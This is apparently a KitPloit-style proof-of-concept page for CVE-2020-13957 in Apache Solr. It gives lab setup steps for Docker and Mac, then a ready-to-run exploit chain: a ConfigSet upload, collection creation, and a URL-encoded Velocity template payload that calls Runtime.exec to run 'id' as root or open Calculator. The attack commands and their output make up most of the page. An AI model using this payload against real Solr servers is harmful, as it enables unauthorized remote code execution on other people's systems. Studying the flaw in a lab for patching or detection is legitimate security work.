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CVE-2020-13957

Apache Solr RCE CVE-2020-13957

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Apache Solr RCE CVE-2020-13957

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NVD CVE-2020-13957 Description

NVD CVE-2020-13957

root@kitploit:~
Apache Solr versions 6.6.0 to 6.6.6, 7.0.0 to 7.7.3 and 8.0.0 to 8.6.2 prevents some features considered dangerous (which could be used for remote code execution) to be configured in a ConfigSet that's uploaded via API without authentication/authorization. The checks in place to prevent such features can be circumvented by using a combination of UPLOAD/CREATE actions.

Docker

Set up PoC environment

1. Build an image from a Dockerfile

root@kitploit:~
$ docker build -t cve-2020-13957 .

2. Run /bin/bash in a new container

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root@kitploit:~
$ docker run --rm -p 8983:8983 --name cve-2020-13957 -it cve-2020-13957 /bin/bash

3. Start Apache Solr Cloud in the container

root@kitploit:~
$ ./solr start -e cloud -noprompt -force

Exploit

1. Upload a ConfigSet

Apache Solr Guide Upload a ConfigSet

root@kitploit:~
$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

2. Create a Collection

Apache Solr Guide Create a Collection

root@kitploit:~
$ curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet"

3. Exec Id Command

root@kitploit:~
$ curl "http://localhost:8983/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27id%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end"

Output

root@kitploit:~
     0  uid=0(root) gid=0(root) groups=0(root)

Mac

Set up PoC environment

1. Download Apache Solr

root@kitploit:~
$ curl -OL https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.tgz

2. Unzip

root@kitploit:~
$ tar -xzvf solr-8.2.0.tgz

3. Start Apache Solr Cloud

root@kitploit:~
$ solr-8.2.0/bin/solr start -e cloud -noprompt -force

Exploit

1. Upload a ConfigSet

Apache Solr Guide Upload a ConfigSet

root@kitploit:~
$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

2. Create a Collection

Apache Solr Guide Create a Collection

root@kitploit:~
$ curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet"

3. Open Calc

root@kitploit:~
$ curl "http://localhost:8983/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27open+-a+calculator%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end"

References

  • https://github.com/Imanfeng/Apache-Solr-RCE#cve-2020-13957